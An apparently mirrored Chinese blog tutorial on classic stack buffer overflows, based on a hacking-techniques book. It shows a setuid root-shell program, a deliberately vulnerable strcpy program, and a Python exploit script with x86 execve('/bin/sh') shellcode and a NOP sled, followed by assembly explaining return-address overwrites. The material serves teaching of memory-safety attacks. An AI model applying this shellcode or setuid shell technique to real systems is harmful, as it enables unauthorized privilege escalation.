zoukankan      html  css  js  c++  java
  • 《黑客攻防技术-系统实战》--利用缓冲区溢出执行任意代码

    让普通用户用管理员权限运行程序

    原理:

      Linux FreeBSD 中有一个用来修改密码的命令“passwd”。 密码一般保存在 /etc/master.passwd/etc/passwd /etc/shadow 等中, 没有 root 权限的用户是无法修改这些文件的。

           然而, 如果只有 root 才能修改密码, 使用起来就会很不方便, 于是我们需要一个机制让普通用户也能够临时借用管理员权限, 这个机制就是setuidsetuid 的功能是让用户使用程序的所有者权限来运行程序 

    实例测试

     1 #include <unistd.h>
     2 #include <sys/types.h>
     3 int main(int argc, char *argv[])
     4 {
     5   char *data[2];
     6   char *exe = "/bin/sh";
     7   data[0] = exe;
     8   data[1] = NULL;
     9   setuid(0);
    10   execve(data[0], data, NULL);
    11   return 0;
    12 }

    root 权限编译该程序, 然后设置 setuid

    gcc -Wall pass.c -o pass

    如果可以以root权限进程shell操作,后果也是很严重的

      

    获取root权限 

     1 #include <stdio.h>
     2 #include <string.h>
     3 unsigned long get_sp(void)
     4 {
     5     __asm__("movl %esp, %eax");
     6 }
     7 int cpy(char *str)
     8 {
     9     char buff[64];
    10     printf("0x%08lx", get_sp() + 0x10);
    11     getchar();
    12     strcpy(buff, str);
    13     return 0;
    14 } 
    15 int main(int argc, char *argv[]){
    16     cpy(argv[1]);
    17     return 0;
    18 }
     1 #!/usr/local/bin/python
     2 
     3 import sys
     4 from struct import *
     5 if len(sys.argv) != 2:
     6     addr = 0x41414141
     7 else:
     8     addr = int(sys.argv[1], 16)
     9 s = ""
    10 s += "x31xc0x50x89xe0x83xe8x10" # 8
    11 s += "x50x89xe3x31xc0x50x68x2f" #16
    12 s += "x2fx73x68x68x2fx62x69x6e" #24
    13 s += "x89xe2x31xc0x50x53x52x50" #32
    14 s += "xb0x3bxcdx80x90x90x90x90" #40
    15 s += "x90x90x90x90x90x90x90x90" #48
    16 s += "x90x90x90x90x90x90x90x90" #56
    17 s += "x90x90x90x90x90x90x90x90" #64
    18 s += "x90x90x90x90"+pack('<L',addr) #72
    19 sys.stdout.write(s)

    测试:

    sample3.c 的 cpy 函数会将输入的字符串原原本本地复制到一块只有 64字节的内存空间中。 由于字符串是由用户任意输入的, 因此如果将
    exploit.py 的输出结果输入给 sample3.c, 我们就成功地以所有者(root)权限运行了 /bin/sh

    如何执行任意代码

     1 #include <stdio.h>
     2 void func(int x, int y, int z)
     3 {
     4     int a;
     5     char buff[8];
     6 } 
     7 int main(void)
     8 {
     9     func(1, 2, 3);
    10     return 0;
    11 }

    反汇编:

    加-m32

     1     .file    "sam.c"
     2     .text
     3     .globl    func
     4     .type    func, @function
     5 func:
     6 .LFB0:
     7     .cfi_startproc
     8     endbr32
     9     pushl    %ebp
    10     .cfi_def_cfa_offset 8
    11     .cfi_offset 5, -8
    12     movl    %esp, %ebp
    13     .cfi_def_cfa_register 5
    14     subl    $24, %esp
    15     call    __x86.get_pc_thunk.ax
    16     addl    $_GLOBAL_OFFSET_TABLE_, %eax
    17     movl    %gs:20, %eax
    18     movl    %eax, -12(%ebp)
    19     xorl    %eax, %eax
    20     nop
    21     movl    -12(%ebp), %eax
    22     xorl    %gs:20, %eax
    23     je    .L2
    24     call    __stack_chk_fail_local
    25 .L2:
    26     leave
    27     .cfi_restore 5
    28     .cfi_def_cfa 4, 4
    29     ret
    30     .cfi_endproc
    31 .LFE0:
    32     .size    func, .-func
    33     .globl    main
    34     .type    main, @function
    35 main:
    36 .LFB1:
    37     .cfi_startproc
    38     endbr32
    39     leal    4(%esp), %ecx
    40     .cfi_def_cfa 1, 0
    41     andl    $-16, %esp
    42     pushl    -4(%ecx)
    43     pushl    %ebp
    44     .cfi_escape 0x10,0x5,0x2,0x75,0
    45     movl    %esp, %ebp
    46     pushl    %ecx
    47     .cfi_escape 0xf,0x3,0x75,0x7c,0x6
    48     subl    $4, %esp
    49     call    __x86.get_pc_thunk.ax
    50     addl    $_GLOBAL_OFFSET_TABLE_, %eax
    51     subl    $4, %esp
    52     pushl    $3
    53     pushl    $2
    54     pushl    $1
    55     call    func
    56     addl    $16, %esp
    57     movl    $0, %eax
    58     movl    -4(%ebp), %ecx
    59     .cfi_def_cfa 1, 0
    60     leave
    61     .cfi_restore 5
    62     leal    -4(%ecx), %esp
    63     .cfi_def_cfa 4, 4
    64     ret
    65     .cfi_endproc
    66 .LFE1:
    67     .size    main, .-main
    68     .section    .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
    69     .globl    __x86.get_pc_thunk.ax
    70     .hidden    __x86.get_pc_thunk.ax
    71     .type    __x86.get_pc_thunk.ax, @function
    72 __x86.get_pc_thunk.ax:
    73 .LFB2:
    74     .cfi_startproc
    75     movl    (%esp), %eax
    76     ret
    77     .cfi_endproc
    78 .LFE2:
    79     .hidden    __stack_chk_fail_local
    80     .ident    "GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0"
    81     .section    .note.GNU-stack,"",@progbits
    82     .section    .note.gnu.property,"a"
    83     .align 4
    84     .long     1f - 0f
    85     .long     4f - 1f
    86     .long     5
    87 0:
    88     .string     "GNU"
    89 1:
    90     .align 4
    91     .long     0xc0000002
    92     .long     3f - 2f
    93 2:
    94     .long     0x3
    95 3:
    96     .align 4
    97 4:

    红色标记将参数入栈,然后call 执行fun函数;和 jmp 不同, call 必须记住调用时当前指令的地址, 因此在跳转到子程序的地址之前, 需要先将返回地址(ret_addr) push 到栈中。

    当调用 func 函数时, 在跳转到函数起始地址的瞬间, 栈的情形如下图所示

    程序又执行了 push ebp, esp 继续递减, 为函数内部的局部变量分配内存空间

    如果数据溢出:
    数组 buff 后面的 %ebp、 ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉

    ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。 如果覆盖了 ret_addr, 攻击者就可以让程序跳转到任意地址。 如果攻击者事先准备一段代码, 然后让程序跳转到这段代码, 也就相当于
    成功攻击了“可执行任意代码的漏洞

  • 相关阅读:
    Java 基本语法之--循环
    java 基本语法之--选择结构
    java基本语法之--进制、运算符
    Java的基本语法之--关键字、标识符、变量
    编写第一个 Java 应用程序
    idea安装、配置及基本使用
    jmeter监听器扩展
    jmeter5.1分布式压测
    青花瓷安装
    python 时间和日期
  • 原文地址:https://www.cnblogs.com/mysky007/p/12907788.html
Copyright © 2011-2022 走看看